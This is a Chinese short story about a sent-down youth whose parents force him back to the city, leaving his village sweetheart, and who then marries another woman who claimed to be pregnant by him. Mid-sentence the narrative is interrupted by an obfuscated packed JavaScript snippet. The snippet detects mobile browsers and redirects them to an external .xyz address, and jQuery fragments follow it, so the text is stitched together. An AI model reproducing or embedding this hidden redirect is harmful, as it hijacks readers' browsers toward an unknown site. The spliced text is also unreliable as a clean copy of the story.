灰色的穹窿低垂，将省城笼罩在沉重的寒气里。省机械厂厂房的窗户结满窗花。王建国的母亲枯瘦的手指死死捏着儿子的回信，指腹一遍遍碾过“不回城”三个字。纸页在她掌心蜷缩、变形，最终凝成一个硬结的纸团，一如她此刻揪扯绞拧的心。儿子的前程，宛若风雪里摇曳的一星炭火，随时会被吞噬。她必须把他拽回来，拽回这方有铁饭碗庇护的安稳人间，哪怕用尽全身气力。
拖拉机在冰封的田埂上颠簸，发出沉闷的呻吟。王建国的父亲裹紧身上蓝布棉袄，目光越过积雪覆盖的荒原，投向远处模糊的村落轮廓。他太知道土地的沉重，那足以压弯脊梁、耗尽一生的沉重。绝不能让儿子困在这泥泞里。带他走，必须带他走！哪怕日后父子间横亘着无法消融的隔阂。
凛冽的北风裹挟着细碎的雪沫，抽打着知青点低矮的茅草屋檐。王建国蹲在呛人的土灶前，机械地向炉膛里塞着柴火，跳跃的火光舔舐着他年轻的脸庞。一阵熟悉的、带着痰音的咳嗽声穿透风声骤然逼近，他握着火钳的手猛地一紧，几点火星猝不及防地溅落在粗布裤腿上，瞬间燎出几个焦黑的窟窿，冒着缕缕呛人的青烟。
他猛地站起身，推开门，风雪立刻扑面灌入。视野里，父母的身影已被肆虐的寒风勾勒得有些变形。母亲的旧棉袄下摆被风掀起一角，露出里面那件磨得起了毛球、颜色黯淡的旧毛衣。
“建国！”母亲的呼唤被狂风撕扯得支离破碎。他冲出房门，脚下结冰的泥地滑溜如镜，一个趔趄，膝盖骨重重磕在坚硬的冻土上，钝痛直钻心髓。
他挣扎着要爬起，一双冰凉粗糙的手已经抚上了他冻得皲裂的面颊。她颤抖的声音里糅杂着长途跋涉的疲惫和无法言喻的心疼：“摔疼了没？瞧瞧这脸冻的。”王建国却像被烫到般，猛地向后缩了半步。母亲那盈满期盼、焦虑与浓浓爱意的眼神，像沉重的铅块，狠狠撞在他的胸口。
他知道，这风雪中的跋涉，只为了一件事。屋檐下悬挂的一根粗大冰凌，不堪重负般“咔嚓”断裂，“啪嗒”一声砸在冻土上，摔得粉碎。这声响如惊雷，震得他浑身一颤。他对文红芹许下的那些关于扎根、关于未来的诺言，在父母骤然降临的身影前，瞬间变得如此脆弱，摇摇欲坠。
土屋内，烟熏火燎的气息更浓了。父亲背着手，焦躁地在狭小的空间里踱步，目光锐利地钉在床头。那里，静静躺着一双崭新的鞋垫。细密的针脚，一针一线都透着用心，上面绣着一朵红艳艳、努力绽放的梅花。儿子和这个叫文红芹的乡下姑娘，那看不见的丝线已经紧紧缠绕在一起了。为了儿子必须抓住的前程，他得亲手斩断它，必须斩断！
母亲默默蹲回灶台前，机械地往炉膛里添着柴火。跳跃的火焰将她眼角的皱纹映照得如同刀刻般深重。锅里煮着的红薯粥咕嘟冒泡。她想起儿子小时候，是如何嫌弃这粗粝的饭食难以下咽。“要不……”一个念头在舌尖打了个转，又被她生生咽了回去。接那个叫文红芹的姑娘回城？简直是天方夜谭！儿子为什么能回去，她自己心里很清楚。儿子只能一个人走，也必须一个人走。
就在这时，院子里传来踩雪的“咯吱”声。柴门“哐当”一声被推开，文红芹挎着篮子，带着一身寒气走了进来。看到屋里两张陌生而憔悴的中年面孔，她瞬间僵在了门口。王建国慌忙起身介绍：“红芹，这是我爸，我妈……”文红芹脸上掠过一丝少女的羞涩，却又强撑着大方，低低地唤了一声：“叔，婶子。”声音轻得像一片雪花。
当返城两个字从王建国妈妈嘴里吐出时，文红芹只觉得眼前的世界骤然崩塌，天旋地转。耳畔仿佛有惊雷炸响，又像是万丈冰崖在脚下轰然断裂。她感觉脚下坚实的大地瞬间化为流沙，所有对未来的期盼、那些在煤油灯下悄悄编织的梦，被这冰冷的两个字彻底击得粉碎。手一松，沉重的篮子“咣当”掉在地上，里面一颗大白菜滚落出来。
文红芹几乎是本能地弯下腰去捡起那颗白菜。她死死咬住下唇，硬生生从僵硬的嘴角扯出一个比哭还难看的笑容，“叔，婶，锅，锅里的粥快熬好了，你们趁热喝点。”说完猛地转过身去，泪珠再也忍不住，滚滚落下。她挺直了瘦弱的脊背，用尽全身力气压抑着胸腔里翻江倒海的痛苦。
王建国父亲从口袋里摸索出一根皱巴巴的烟卷点上，辛辣的烟雾在肺里打了个转。他眼角余光瞥见文红芹正抬起头，飞快而轻柔地替王建国整了整有些松垮的衣领。那个熟悉的、充满依恋的小动作。恍惚间，他仿佛看到二十多年前，自己刚进厂那会儿，笨拙地给妻子系上那条红色围巾的场景。城里的电灯和乡下的油灯，终究是两条永远不会交汇的铁轨，在各自的轨道上奔向永不相逢的远方。他狠狠吸了一口烟，在心里一遍遍地加固着那道堤坝：没有未来！儿子和她，不可能有未来！回城，是唯一的生路，也是他作为父亲必须推儿子走上的路。
夜深了。文红芹蜷缩在自家的土坯炕上，土墙缝隙里灌进来的寒风，刀子似的刮在身上。隔壁传来母亲的咳嗽声，一声声，敲打着她早已破碎不堪的心。黑暗像浓稠的墨汁，将她紧紧包裹。她睁大空洞的双眼，无声地起誓：不能！绝不能让他像爹那样，佝偻着背脊，在黄土地里耗尽一生，到头来连给娘抓副药的钱都凑不齐！滚烫的泪水终于决堤，汹涌而出，无声地浸透了冰冷的枕头。那泪水中，饱含着撕心裂肺的痛楚，也浸透着一种近乎残忍的清醒：放他走，是她能给予他的最后、也是唯一的一点点爱。
次日清晨，文红芹踩着厚厚的积雪，再次来到知青点。她的脚步异常沉重，默默地将一小袋晒得干透、红艳艳的大枣，塞进王建国鼓鼓囊囊的行李包侧袋里。脸上努力挤出一个尽可能灿烂的笑容：“城里，城里啥稀罕玩意儿都有，这里的一切就别惦记了，不值当。”话音未落，她猛地转身。王建国在身后急切地喊她的名字，她不敢回头，哪怕一丝一毫的犹豫，都会让那用尽全身力气筑起的堤坝彻底崩塌。
拖拉机突突地冒着黑烟，引擎在冰天雪地里发出粗重而吃力的嘶吼。王建国僵立在车旁，目光死死锁在雪地里那个越来越小、越来越模糊的身影上。一股巨大的力量从他心底爆发，他猛地想挣脱母亲铁钳般的手，想不顾一切地冲过去，将那单薄的身影紧紧拥入怀中。但母亲的手像生了根，死死地箍住他的胳膊，指甲几乎要嵌进他的皮肉里。她侧过头，用一种不容置
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345181|183487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疑、近乎凶狠的眼神瞪着他，那眼神里混杂着哀求、命令。与此同时，父亲将最后一件行李重重地摔进车厢，发出沉闷的撞击声。他直起腰，布满血丝的眼睛扫过儿子， “上车！”两个字，如同冰冷的铁锁，铐住了王建国所有的挣扎。
回到省城，王建国默默收拾好自己的房间，那狭小的空间里塞满了从乡下带回来的简陋物件，显得格格不入。他久久地站在父母那扇房门前，手抬起又放下。终于，在三次深长的吸气之后，他用力推开了那扇门。
“爸，妈，”他开口说道，“我有件事，想跟你们商量。”母亲抬起头，目光复杂地落在儿子脸上。王建国的眼神在她憔悴的、刻满岁月痕迹的面容上游移，最终停留在母亲鬓角那几缕刺目白发上。
“我想把文红芹接来城里，”他攥紧了拳头，声音因激动而拔高，“她没有城市户口，可我能养她！我发誓！”
父亲的眉头瞬间拧成了死结，母亲眼神透露着无奈：“建国，你知不知道，你能进省机械厂，是为什么？”母亲顿了顿，继续说道：“是李爱华，她回城后，知道你没单位接收，她求了她爸。”
“她还说……”母亲的声音更轻了，带着一丝犹豫和难以言喻的复杂，“她说她喜欢你。想你回城后，跟你成家。”
“多好的姑娘啊，为了你……”母亲叹息般的声音断续传来，“她竟然，竟然说动了她爸。你去见见她吧。”
听到这些，王建国头也没回的出了门，他要撕开这层温情脉脉的面纱，把一切说个明白！
巷口，孤零零的路灯在风中轻微地摇晃着。
“爱华，”王建国深吸一口冰冷的空气，“谢谢你帮我，可我在乡下，已经有了……”后半句话刚出口，李爱华像是被这句话彻底点燃了引信，猛地将手从温暖的口袋里抽出，一步上前，不管不顾地狠狠抱住了他！王建国能感觉到她剧烈的心跳撞击着自己的胸膛。
她仰起头，眼眶通红，浓密的睫毛上凝结着细小的冰晶，泪水在眼眶里疯狂打转：“你为什么总不爱回我的信？为什么？你为什么不早点告诉我？”
李爱华突然抬起头，呼出的灼热白气在两人之间瞬间凝成一小团霜雾，模糊了彼此的面容。她的眼神变得异常锐利：“你知道我为了这个名额，跟我爸说了什么吗？”她几乎是歇斯底里地喊了出来，声音尖利地穿透风声：“我说！一个多月前，我去看过你！我说，我怀了你的孩子！王建国！为了你！我让整个省机械厂的人都知道了！都知道我李爱华，怀了你王建国的孩子！”她几乎是吼出了最后几个字，泪水终于冲破堤防，汹涌而出。“我不在乎！不在乎你过去怎样！”她死死抓着他的胳膊，“只要以后，以后能跟你在一起！我什么都不在乎！”
王建国感觉一股寒气从尾椎骨直冲天灵盖，浑身冰凉。他看着李爱华被寒风吹得裂开血口的嘴唇。此刻，李爱华的头发被泪水粘在脸颊上，凌乱不堪，脸颊冻得通红，却固执地仰着头，眼神像两簇在暴风雪中疯狂摇曳、却始终不肯熄灭的火焰，死死地钉在他脸上，等待着他的判决。
一个月后，就在那年春节前夕，王建国和李爱华结婚了。